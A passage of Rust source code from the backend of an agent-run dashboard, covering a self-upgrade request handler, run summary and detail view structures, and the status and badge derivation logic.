3596                AutoUpgradeDecision::Trigger => unreachable!(),
3597            };
3598            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3599            return StatusCode::NO_CONTENT.into_response();
3600        }
3601        // Close run admission, then recheck under the same request gate.
3602        // A resume that got in before the flag is visible in `resuming`;
3603        // one that arrives afterwards is refused by `begin_resume`.
3604        ui.upgrade_spawned
3605            .store(true, std::sync::atomic::Ordering::SeqCst);
3606        if ui.auto_upgrade_busy() {
3607            ui.upgrade_spawned
3608                .store(false, std::sync::atomic::Ordering::SeqCst);
3609            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3610            return StatusCode::NO_CONTENT.into_response();
3611        }
3612        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3613        return finish_upgrade_request(
3614            ui,
3615            upgrade_checked_for(
3616                ui,
3617                env!("CARGO_PKG_VERSION").into(),
3618                Ok(Some(latest)),
3619                trigger,
3620            ),
3621        );
3622    }
3623    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3624}
3625
3626fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3627    match result {
3628        Ok(out) => {
3629            *ui.upgrade_request_error
3630                .lock()
3631                .unwrap_or_else(PoisonError::into_inner) = None;
3632            out.into_response()
3633        }
3634        Err(error) if error.status != StatusCode::CONFLICT => {
3635            let failure = UpgradeRequestFailure::new(error.message);
3636            *ui.upgrade_request_error
3637                .lock()
3638                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3639            let mut response = (error.status, Json(&failure)).into_response();
3640            if let Some(value) = failure
3641                .retry_after_secs
3642                .and_then(|secs| secs.to_string().parse().ok())
3643            {
3644                response.headers_mut().insert("retry-after", value);
3645            }
3646            response
3647        }
3648        Err(error) => error.into_response(),
3649    }
3650}
3651
3652async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3653    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3654        return Err(ApiError::conflict(
3655            "an upgrade is already in progress (this process started one and it \
3656             has not finished or failed yet)",
3657        ));
3658    }
3659    let recorded = updater::read_progress(&ui.home);
3660    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3661        return Err(ApiError::conflict(format!(
3662            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3663             stays stuck, restart the deck; on start it settles a stale record.",
3664            p.stage.as_str(),
3665            p.from,
3666            p.to.as_deref().unwrap_or("?"),
3667        )));
3668    }
3669
3670    // The same kill switch the background check honours (`disabled_by_env`),
3671    // checked before anything else for the same reason it is read before the
3672    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3673    // contact GitHub from this process", and a button press must not
3674    // override that any more than a broken `magi.toml` may.
3675    if crate::updater::disabled_by_env() {
3676        return Ok((
3677            StatusCode::OK,
3678            Json(UpgradeView {
3679                from: env!("CARGO_PKG_VERSION").to_owned(),
3680                to: None,
3681                detail: format!(
3682                    "Automatic updates are disabled by {}. Nothing was parked \
3683                     and nothing restarted.",
3684                    crate::updater::NO_AUTOUPDATE_ENV
3685                ),
3686            }),
3687        ));
3688    }
3689
3690    // Check before disturbing listeners or scheduling: no available update
3691    // means there is no reason to restart anything.
3692    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3693    let from = env!("CARGO_PKG_VERSION").to_owned();
3694    let latest = match crate::updater::Checker::new(&cfg.update) {
3695        Some(checker) => checker.newer_release().await,
3696        None => Ok(None),
3697    };
3698    upgrade_checked(ui, from, latest)
3699}
3700
3701fn upgrade_checked(
3702    ui: &Arc<Ui>,
3703    from: String,
3704    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3705) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3706    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3707}
3708
3709fn upgrade_checked_for(
3710    ui: &Arc<Ui>,
3711    from: String,
3712    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3713    trigger: updater::UpgradeTrigger,
3714) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3715    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3716    let Some(latest) = latest else {
3717        return Ok((
3718            StatusCode::OK,
3719            Json(UpgradeView {
3720                from,
3721                to: None,
3722                detail: "Already on the newest release. Nothing was parked \
3723                         and nothing restarted."
3724                    .to_owned(),
3725            }),
3726        ));
3727    };
3728
3729    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3730
3731    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3732    // poll must see a `Downloading` stage immediately, not whenever the
3733    // spawned task happens to get scheduled.
3734    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3735    progress.trigger = trigger;
3736    updater::write_progress_logged(&ui.home, &progress);
3737
3738    let home = ui.home.clone();
3739    ui.upgrade_spawned
3740        .store(true, std::sync::atomic::Ordering::SeqCst);
3741    let spawned = Arc::clone(&ui.upgrade_spawned);
3742    let runner = ui.upgrade_runner;
3743    let failed = ui.auto_failed_tag.clone();
3744    let tag = latest.tag_name.clone();
3745    tokio::spawn(async move {
3746        if let Err(e) = runner(home.clone()).await {
3747            if trigger == updater::UpgradeTrigger::Auto {
3748                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3749            }
3750            tracing::error!("the upgrade did not complete: {e:#}");
3751            // A failure of this attempt says nothing about a handover an
3752            // earlier request already has in flight; checked and written
3753            // under the progress lock.
3754            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3755            // Release only after failure bookkeeping, before accepting a retry.
3756            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3757        }
3758    });
3759
3760    Ok((
3761        StatusCode::ACCEPTED,
3762        Json(UpgradeView {
3763            from,
3764            to: Some(latest.tag_name),
3765            detail,
3766        }),
3767    ))
3768}
3769
3770/// Replace the binary, then ask [`serve`] to hand the address over.
3771///
3772/// Separated from the handler so the 202 is already on its way, and separated
3773/// from the spawn so the successor starts only after the listener is dropped.
3774async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3775    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3776    // hang the upgrade for as long as the process lives.
3777    crate::updater::run_self_update(true, false, true).await?;
3778    updater::log_step(&home, "binary replaced - recording the replaced stage");
3779    if let Some(mut progress) = updater::read_progress(&home) {
3780        progress.advance(updater::Stage::Replaced);
3781        updater::write_progress_logged(&home, &progress);
3782    }
3783    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3784    HANDOVER.notify_one();
3785    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3786    Ok(())
3787}
3788
3789/// One row in the run list.
3790///
3791/// The list route returns this rather than whole `RunState`s: the summary of a
3792/// run is a few hundred bytes and the state is megabytes, and the difference
3793/// is what makes the history usable on a mobile link.
3794#[derive(Debug, Serialize)]
3795struct RunSummary {
3796    activity: String,
3797    id: String,
3798    short: String,
3799    status: String,
3800    done: bool,
3801    instruction: String,
3802    title: String,
3803    repo: String,
3804    repo_name: String,
3805    created_at: String,
3806    updated_at: String,
3807    candidates: usize,
3808    viable: usize,
3809    judges: usize,
3810    winner: Option<char>,
3811    reviews: usize,
3812    quota_losses: usize,
3813    event: Option<String>,
3814    /// The later attempt at the same task that replaced this one, if any.
3815    ///
3816    /// Two cards with one title is otherwise unreadable: this is what lets
3817    /// the deck say "superseded by 4043" on the older of the pair.
3818    superseded_by: Option<String>,
3819    /// Blocked on a question nobody has answered.
3820    ///
3821    /// Derived from the question store rather than stored on the run: an agent
3822    /// calling `magi ask` blocks mid-node, and writing a status from there
3823    /// would race the graph's own save of `run.json` and be overwritten at the
3824    /// next node boundary. Asking the store is always true and never races.
3825    waiting: bool,
3826    /// Whether the process recorded as driving this run can still be proven
3827    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3828    /// rather than presenting its last graph node as still in flight.
3829    live: crate::run::Liveness,
3830    /// The land loop's last look at the pull request, when there is one.
3831    pr: Option<crate::run::PrRecord>,
3832    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3833    /// design — never picked up by the PR-polling merge watcher, unlike an
3834    /// ordinary `Ready` that may still be a live landing candidate. See
3835    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3836    /// re-deriving the same check from `status` and `merge.mode` itself.
3837    unmerged_by_design: bool,
3838    /// Derived presentation status matching [`RunDetailView::display_status`].
3839    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3840    #[serde(default)]
3841    display_status: String,
3842    /// What the status badge shows: `display_status`, or `superseded` for a
3843    /// non-live run a later attempt replaced. See [`run_badge_status`].
3844    #[serde(default)]
3845    badge_status: String,
3846    /// Who started the run, as the one label every surface shares; the
3847    /// "origin unknown" wording when the record predates origins.
3848    origin_label: String,
3849}
3850
3851impl RunSummary {
3852    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3853        Self {
3854            activity: crate::run_progress::activity(state, live, waiting),
3855            id: state.id.clone(),
3856            short: state.short().to_owned(),
3857            status: status_word(state.status),
3858            done: state.status.done(),
3859            unmerged_by_design: state.unmerged_by_design(),
3860            display_status: run_display_status(state, waiting, live),
3861            badge_status: run_display_status(state, waiting, live),
3862            instruction: state.instruction.clone(),
3863            title: title_from(&state.instruction, TITLE_MAX),
3864            repo: state.repo.display().to_string(),
3865            repo_name: state
3866                .repo
3867                .file_name()
3868                .map(|n| n.to_string_lossy().into_owned())
3869                .unwrap_or_default(),
3870            created_at: state.created_at.to_string(),
3871            updated_at: state.updated_at.to_string(),
3872            candidates: state.candidates.len(),
3873            viable: state.viable().len(),
3874            judges: state.config.graph.judges,
3875            winner: state.winner().map(|c| c.label),
3876            reviews: state.reviews.len(),
3877            quota_losses: state.quota.len(),
3878            event: state
3879                .verification_blocking_cause()
3880                .or_else(|| state.events.last().map(|e| e.message.clone())),
3881            waiting,
3882            live,
3883            // Filled in by the list route, which is the only place that can
3884            // see a task's other attempts.
3885            superseded_by: None,
3886            pr: state.pr.clone(),
3887            origin_label: crate::run::origin_label(state.origin.as_ref()),
3888        }
3889    }
3890}
3891
3892/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3893/// the same string `serde` writes for the status inside a full run.
3894fn status_word(status: RunStatus) -> String {
3895    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3896    // was a third way of naming the same statuses, and one that changed
3897    // silently with a derive.
3898    status.as_str().to_owned()
3899}
3900
3901/// The presentation status for a run, unified across summaries and details.
3902///
3903/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3904/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3905/// runs awaiting operator answers.
3906fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3907    if waiting {
3908        return "waiting".to_owned();
3909    }
3910    if state.unmerged_by_design() {
3911        return "unmerged".to_owned();
3912    }
3913    if !state.status.done() && live == crate::run::Liveness::Dead {
3914        // The driver claim clears this flag before saving another event.
3915        // A previous park event can therefore outlive a resumed driver.
3916        if state.parked {
3917            return "parked".to_owned();
3918        }
3919        return "stale".to_owned();
3920    }
3921    status_word(state.status)
3922}
3923
3924/// The word a run's status badge shows: `display_status`, except that a
3925/// non-terminal run which is not provably live and was replaced by a later
3926/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3927///
3928/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3929/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3930/// own word, so superseded never claims more than "not live".
3931fn run_badge_status(
3932    state: &RunState,
3933    display_status: &str,
3934    live: crate::run::Liveness,
3935    superseded: bool,
3936) -> String {
3937    if state.status.done() || live == crate::run::Liveness::Live {
3938        return display_status.to_owned();
3939    }
3940    if superseded {
3941        return "superseded".to_owned();
3942    }
3943    // A dead run's `display_status` is `stale`, except that a deliberate park
3944    // and an open owner question keep their own word: neither is a crash, and
3945    // the question still needs an answer. Anything else dead reads `stale`.
3946    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3947        return "stale".to_owned();
3948    }
3949    display_status.to_owned()
3950}
3951
3952/// `?limit=`, clamped by the handler.
3953#[derive(Debug, Deserialize)]
3954struct ListQuery {
3955    #[serde(default)]
3956    limit: Option<usize>,
3957    /// Exact ids only; an empty value requests no rows (except queue blockers).
3958    ids: Option<String>,
3959}
3960
3961impl ListQuery {
3962    fn contains(&self, id: &str) -> bool {
3963        self.ids
3964            .as_ref()
3965            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3966    }
3967}
3968
3969async fn runs_list(
3970    State(ui): State<Arc<Ui>>,
3971    Query(q): Query<ListQuery>,
3972) -> ApiResult<Json<Vec<RunSummary>>> {
3973    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3974    blocking(move || {
3975        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3976        let states = run_ids(&ui.runs)
3977            .into_iter()
3978            // A run whose state cannot be read is skipped, not fatal: a run
3979            // killed mid-write must not blank the history of every other one.
3980            // The detail route still explains it, which is where an operator
3981            // asking "what happened to that run" ends up.
3982            .filter_map(|id| read_run(&ui.runs, &id).ok())
3983            .take(limit)
3984            .filter(|run| q.contains(&run.id));
3985        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3986        let summaries = summarize(
3987            states,
3988            &open_runs,
3989            &claimed,
3990            &superseded,
3991            |p| probe.borrow_mut().status(p),
3992            |p| probe.borrow_mut().started_at(p),
3993        );
3994        Ok(Json(summaries))
3995    })
3996    .await
3997}
3998
3999/// Everything the per-run rows share, read once: runs with an open question,
4000/// runs a live daemon claims, and the superseded map. Asking per run re-read
4001/// every question file and the daemon status file for each of hundreds of
4002/// runs, and spawned a process probe per run on Windows.
4003fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4004    let open_runs: HashSet<String> = ui
4005        .questions
4006        .list()
4007        .into_iter()
4008        .filter(|q| q.status.open())
4009        .map(|q| q.run)
4010        .collect();
4011    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4012        .into_iter()
4013        .map(|c| c.run)
4014        .collect();
4015    (open_runs, claimed, ui.queue.superseded())
4016}
4017
4018/// The rows of the run list, given everything that is shared between them.
4019///
4020/// Pure over its inputs so a test can count how often the process queries are
4021/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4022/// takes, called at most once per run.
4023fn summarize<I, S, D>(
4024    states: I,
4025    open_runs: &HashSet<String>,
4026    claimed: &HashSet<String>,
4027    superseded: &HashMap<String, String>,
4028    mut status_q: S,
4029    mut identity_q: D,
4030) -> Vec<RunSummary>
4031where
4032    I: IntoIterator<Item = RunState>,
4033    S: FnMut(u32) -> Option<bool>,
4034    D: FnMut(u32) -> Option<String>,
4035{
4036    states
4037        .into_iter()
4038        .map(|state| {
4039            let waiting = open_runs.contains(&state.id);
4040            let live =
4041                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4042            let mut row = RunSummary::of(&state, waiting, live);
4043            row.superseded_by = state
4044                .pr_taken_over_by
4045                .as_ref()
4046                .or_else(|| superseded.get(&state.id))
4047                .map(String::as_str)
4048                .map(crate::run::short_of)
4049                .map(str::to_owned);
4050            row.badge_status = run_badge_status(
4051                &state,
4052                &row.display_status,
4053                live,
4054                row.superseded_by.is_some(),
4055            );
4056            row
4057        })
4058        .collect()
4059}
4060
4061/// A run as the detail route hands it to the phone.
4062///
4063/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4064/// the instruction as markdown, and the raw `instruction` field this struct
4065/// still carries (unchanged) is what a client wanting the exact bytes reads
4066/// instead.
4067#[derive(Debug, Serialize)]
4068struct RunDetailView {
4069    progress: crate::run_progress::Progress,
4070    stop_reason: Option<String>,
4071    #[serde(flatten)]
4072    state: RunState,
4073    instruction_md: Vec<md::Node>,
4074    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4075    /// mirror the records they come from, index for index; the raw strings
4076    /// stay in `state` and decide whether a block is shown at all.
4077    #[serde(flatten)]
4078    prose_md: RunProseMd,
4079    /// Whether a process is actually still driving this run: `"live"`,
4080    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4081    ///
4082    /// `state.active` (flattened in above) is only ever cleared by the
4083    /// process that populated it; a killed one leaves its last wave's
4084    /// entries behind. Carrying this alongside is what lets the phone rail
4085    /// tell "this seat is still answering" from "this seat was still
4086    /// answering when whatever was driving this run died" without a second
4087    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4088    /// proof of either. A string rather than a bool on purpose: a daemon
4089    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4090    /// and neither proven is `"unknown"` — folding that third case into
4091    /// either end of a bool is exactly the wrong call for a phone screen an
4092    /// operator uses to decide whether to wait or to act.
4093    live: crate::run::Liveness,
4094    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4095    /// alongside the flattened `state` rather than inside it, since
4096    /// `RunState` has no business knowing which of its own methods a caller
4097    /// wants serialized.
4098    unmerged_by_design: bool,
4099    /// Same field and meaning as [`RunSummary::waiting`].
4100    #[serde(default)]
4101    waiting: bool,
4102    /// Same derived presentation status as [`RunSummary::display_status`].
4103    #[serde(default)]
4104    display_status: String,
4105    /// Same field and meaning as [`RunSummary::badge_status`].
4106    #[serde(default)]
4107    badge_status: String,
4108    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4109    /// terminal. The client's `landView` keys on it, and the flattened state
4110    /// has no such field, so without it a finished run's stale `open` PR
4111    /// would be painted as live on the detail page.
4112    done: bool,
4113    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4114    /// route fills it from [`Queue::superseded`], the detail route from
4115    /// [`Queue::superseded_by`], and both read the same underlying task
4116    /// order. Without this the detail page could only ever show a red
4117    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4118    /// with nothing anywhere saying so — an operator opening it had no way
4119    /// to tell "this is done elsewhere" from "this still needs a retry".
4120    superseded_by: Option<String>,
4121    /// The task's current attempt, when this run is an older one — resolved
4122    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4123    /// the client to derive.
4124    ///
4125    /// Three things a client cannot safely do on its own drove this onto the
4126    /// server: it has to name the chain's *current head*, not just the next
4127    /// attempt (`superseded_by` above), because an intermediate retry in a
4128    /// longer chain can itself still be unresolved; it has to resolve to a
4129    /// real id rather than a short id a client would have to guess a full id
4130    /// from, which is ambiguous the moment two runs share a suffix; and it
4131    /// has to read that head's own status directly, because whether a run
4132    /// list a client happens to have cached even contains that attempt
4133    /// depends on a page limit this route knows nothing about.
4134    latest_attempt: Option<LatestAttempt>,
4135    /// The queue task this run belongs to, so the detail page can link back
4136    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4137    task: Option<TaskRef>,
4138    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4139    /// run recorded before origins existed. `origin` itself (flattened in
4140    /// with `state`) is `null` in that case.
4141    origin_label: String,
4142    /// Each recorded pass over this run, with the cause it stopped for. Empty
4143    /// for a run from before passes were kept: its earlier passes are unknown.
4144    pass_views: Vec<PassView>,
4145}
4146
4147/// A task named from a run's detail page.
4148#[derive(Debug, Serialize)]
4149struct TaskRef {
4150    id: String,
4151    short: String,
4152    title: String,
4153    /// [`Source::label`], e.g. `chat@a1b2`.
4154    source_label: String,
4155    /// Where the task came from, when that place has a page; see [`source_link`].
4156    source_link: Option<SourceLink>,
4157    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4158    status: &'static str,
4159    attempts: usize,
4160    max_attempts: usize,
4161    /// This run is the last entry of the task's run list.
4162    is_latest: bool,
4163    /// The task's newest run, when it is not this one.
4164    latest: Option<RunBrief>,
4165    /// The run that finished a `done` task (merged, or already in the base).
4166    finished_by: Option<RunBrief>,
4167    /// The task is `done` but no run on record finished it: closed by hand.
4168    closed_by_hand: bool,
4169}
4170
4171/// The page that filed a task, as the UI links to it.
4172#[derive(Debug, PartialEq, Eq, Serialize)]
4173struct SourceLink {
4174    /// `chat` (a conversation) or `run` (a run's node).
4175    kind: &'static str,
4176    /// The full id, never the short one in the label.
4177    id: String,
4178    /// The hash route that opens it.
4179    href: String,
4180}
4181
4182/// Percent-encode everything outside the URL-unreserved set.
4183fn encode_segment(raw: &str) -> String {
4184    let mut out = String::with_capacity(raw.len());
4185    for b in raw.bytes() {
4186        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4187            out.push(b as char);
4188        } else {
4189            out.push_str(&format!("%{b:02X}"));
4190        }
4191    }
4192    out
4193}
4194
4195/// The one place that decides where a task's source links to. A chat
4196/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4197/// a person or an imported issue has no page, so no link.
4198fn source_link(source: &Source) -> Option<SourceLink> {
4199    let Source::Agent { run, node } = source else {
4200        return None;
4201    };
4202    let (kind, route) = if node == crate::queue::CHAT_NODE {
4203        ("chat", "chat")
4204    } else {
4205        ("run", "runs")
4206    };
4207    Some(SourceLink {
4208        kind,
4209        id: run.clone(),
4210        href: id_links::page_href(route, run),
4211    })
4212}
4213
4214/// The parent task of a follow-up, when its file can still be read.
4215#[derive(Debug, Serialize, PartialEq)]
4216struct FollowUpParent {
4217    id: String,
4218    short: String,
4219    title: String,
4220    /// The parent's own status (`TaskStatus::as_str`).
4221    status: &'static str,
4222    href: String,
4223}
4224
4225/// The merged run a follow-up was filed from.
4226#[derive(Debug, Serialize, PartialEq)]
4227struct FollowUpRun {
4228    id: String,
4229    short: String,
4230    /// `None` when the run's record cannot be read.
4231    status: Option<&'static str>,
4232    /// `None` unless the record could be read: never a dead link.
4233    href: Option<String>,
4234}
4235
4236/// Where a follow-up task came from, resolved once per task page so the flow
4237/// chart and the detail block cannot disagree. See [`followup_origin`].
4238#[derive(Debug, Serialize, PartialEq)]
4239struct FollowUpOrigin {
4240    /// Present only when `origin_task` is set and that task still exists.
4241    parent: Option<FollowUpParent>,
4242    run: FollowUpRun,
4243    /// The merged pull request, verbatim. Not an href: the client passes it
4244    /// through `forgeUrl()` and renders text when that refuses it (the one
4245    /// exception to "the href rule is Rust's alone", since a forge URL is
4246    /// data from a record, not a route).
4247    pr: String,
4248    findings: Vec<String>,
4249    generation: u32,
4250}
4251
4252/// The one place that decides what a follow-up links to. A parent that cannot
4253/// be read (gone, or an id that names nothing) is `None`, never an error.
4254fn followup_origin(
4255    fu: &crate::queue::FollowUp,
4256    task: impl Fn(&str) -> Option<Task>,
4257    run: impl Fn(&str) -> Option<RunState>,
4258) -> FollowUpOrigin {
4259    let parent = fu
4260        .origin_task
4261        .as_deref()
4262        .and_then(task)
4263        .map(|t| FollowUpParent {
4264            short: t.short().to_owned(),
4265            href: format!("#/tasks/{}", encode_segment(&t.id)),
4266            status: t.status.as_str(),
4267            title: t.title,
4268            id: t.id,
4269        });
4270    let state = run(&fu.run);
4271    FollowUpOrigin {
4272        parent,
4273        run: FollowUpRun {
4274            short: run::short_of(&fu.run).to_owned(),
4275            status: state.as_ref().map(|s| s.status.as_str()),
4276            href: state
4277                .is_some()
4278                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4279            id: fu.run.clone(),
4280        },
4281        pr: fu.pr.clone(),
4282        findings: fu.findings.clone(),
4283        generation: fu.generation,
4284    }
4285}
4286
4287/// Another run of the same task, as named from a run's detail page.
4288#[derive(Debug, Serialize)]
4289struct RunBrief {
4290    id: String,
4291    short: String,
4292    /// `None` when the run's record cannot be read.
4293    status: Option<&'static str>,
4294    /// The task-page wording for how that pass ended.
4295    outcome: String,
4296    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4297    badge: Option<String>,
4298}
4299
4300/// The task's overall outcome as seen from `this_run`'s page, classified with
4301/// the same exits the task page's flowchart uses.
4302fn task_outcome(
4303    task: &Task,
4304    this_run: &str,
4305    max_attempts: usize,
4306    read: impl Fn(&str) -> Option<RunState>,
4307) -> TaskRef {
4308    let max_attempts = task.effective_attempt_limit(max_attempts);
4309    let history = task_history(task, read);
4310    let brief = |h: &TaskRunView| RunBrief {
4311        id: h.id.clone(),
4312        short: h.short.clone(),
4313        status: h.status,
4314        outcome: h.exit.edge_label(h.status),
4315        badge: h.badge.clone(),
4316    };
4317    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4318    let latest = if is_latest {
4319        None
4320    } else {
4321        history.last().map(brief)
4322    };
4323    let done = task.status == TaskStatus::Done;
4324    let finished_by = done
4325        .then(|| {
4326            history
4327                .iter()
4328                .rev()
4329                .find(|h| {
4330                    matches!(
4331                        h.exit,
4332                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4333                    )
4334                })
4335                .map(brief)
4336        })
4337        .flatten();
4338    TaskRef {
4339        short: task.short().to_owned(),
4340        title: task.title.clone(),
4341        id: task.id.clone(),
4342        source_label: task.source.label(),
4343        source_link: source_link(&task.source),
4344        status: task.status.as_str(),
4345        attempts: task.attempts,
4346        max_attempts,
4347        is_latest,
4348        latest,
4349        closed_by_hand: done && finished_by.is_none(),
4350        finished_by,
4351    }
4352}
4353
4354/// The task's current attempt, as seen from an older one's detail page.
4355#[derive(Debug, Serialize)]
4356struct LatestAttempt {
4357    id: String,
4358    short: String,
4359    /// Whether this attempt itself settled with a result nobody needs to
4360    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4361    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4362    /// unconfirmed claim that no change was needed, which is exactly why it
4363    /// settles the task through `Held` rather than `Done` and still waits on
4364    /// a human to check the evidence; showing an older run as "finished
4365    /// elsewhere" on the strength of an unverified claim would bury the
4366    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4367    /// in-flight status are excluded because they are exactly the
4368    /// unresolved states this field exists to tell apart from a real finish.
4369    resolved: bool,
4370    /// The attempt's own recorded status, so the page can say where it
4371    /// stands while it is not resolved yet.
4372    status: RunStatus,
4373    /// Whether that status is terminal (nothing is still running it).
4374    done: bool,
4375}
4376
4377/// Markdown for the free-text prose of a run, parallel to `RunState`.
4378#[derive(Debug, Default, Serialize)]
4379struct RunProseMd {
4380    /// `None` when the run has no design deliberation.
4381    advice_md: Option<AdviceMd>,
4382    /// One entry per candidate: the summary.
4383    candidate_summaries_md: Vec<Vec<md::Node>>,
4384    /// One entry per review round, in `reviews` order.
4385    reviews_md: Vec<RoundMd>,
4386}
4387
4388#[derive(Debug, Default, Serialize)]
4389struct AdviceMd {
4390    synthesis: Vec<md::Node>,
4391    /// One per record; empty for a seat with no proposal.
4392    approaches: Vec<Vec<md::Node>>,
4393}
4394
4395#[derive(Debug, Default, Serialize)]
4396struct RoundMd {
4397    /// One per reviewer record.
4398    reviewers: Vec<ReviewerMd>,
4399    /// One per `reconsideration` entry: the reason.
4400    reconsideration: Vec<Vec<md::Node>>,
4401    fix: Option<FixMd>,
4402}
4403
4404#[derive(Debug, Default, Serialize)]
4405struct ReviewerMd {
4406    summary: Vec<md::Node>,
4407    /// One per finding, in recorded order (not the display order).
4408    findings: Vec<Vec<md::Node>>,
4409}
4410
4411#[derive(Debug, Default, Serialize)]
4412struct FixMd {
4413    notes: Vec<md::Node>,
4414    /// One per rejection: the argument.
4415    rejected: Vec<Vec<md::Node>>,
4416}
4417
4418/// Parse a run's agent-written prose; a pure function of the state.
4419fn run_prose_md(state: &RunState) -> RunProseMd {
4420    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4421    RunProseMd {
4422        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4423            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4424            approaches: a
4425                .records
4426                .iter()
4427                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4428                .collect(),
4429        }),
4430        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4431        reviews_md: state
4432            .reviews
4433            .iter()
4434            .map(|round| RoundMd {
4435                reviewers: round
4436                    .reviews
4437                    .iter()
4438                    .map(|rec| ReviewerMd {
4439                        summary: nodes(&rec.summary),
4440                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4441                    })
4442                    .collect(),
4443                reconsideration: round
4444                    .reconsideration
4445                    .iter()
4446                    .map(|rv| nodes(&rv.reason))
4447                    .collect(),
4448                fix: round.fix.as_ref().map(|fix| FixMd {
4449                    notes: nodes(&fix.notes),
4450                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4451                }),
4452            })
4453            .collect(),
4454    }
4455}
4456
4457impl RunDetailView {
4458    fn of(
4459        state: RunState,
4460        waiting: bool,
4461        live: crate::run::Liveness,
4462        superseded_by: Option<String>,
4463        latest_attempt: Option<LatestAttempt>,
4464        task: Option<TaskRef>,
4465    ) -> Self {
4466        let display_status = run_display_status(&state, waiting, live);
4467        let stop_reason = crate::stop_reason::of(
4468            &state,
4469            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4470        );
4471        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4472        Self {
4473            progress: crate::run_progress::build(&state, live, waiting),
4474            stop_reason,
4475            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4476            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4477            prose_md: run_prose_md(&state),
4478            origin_label: crate::run::origin_label(state.origin.as_ref()),
4479            live,
4480            unmerged_by_design: state.unmerged_by_design(),
4481            waiting,
4482            display_status,
4483            badge_status,
4484            done: state.status.done(),
4485            superseded_by,
4486            latest_attempt,
4487            task,
4488            state,
4489        }
4490    }
4491}
4492
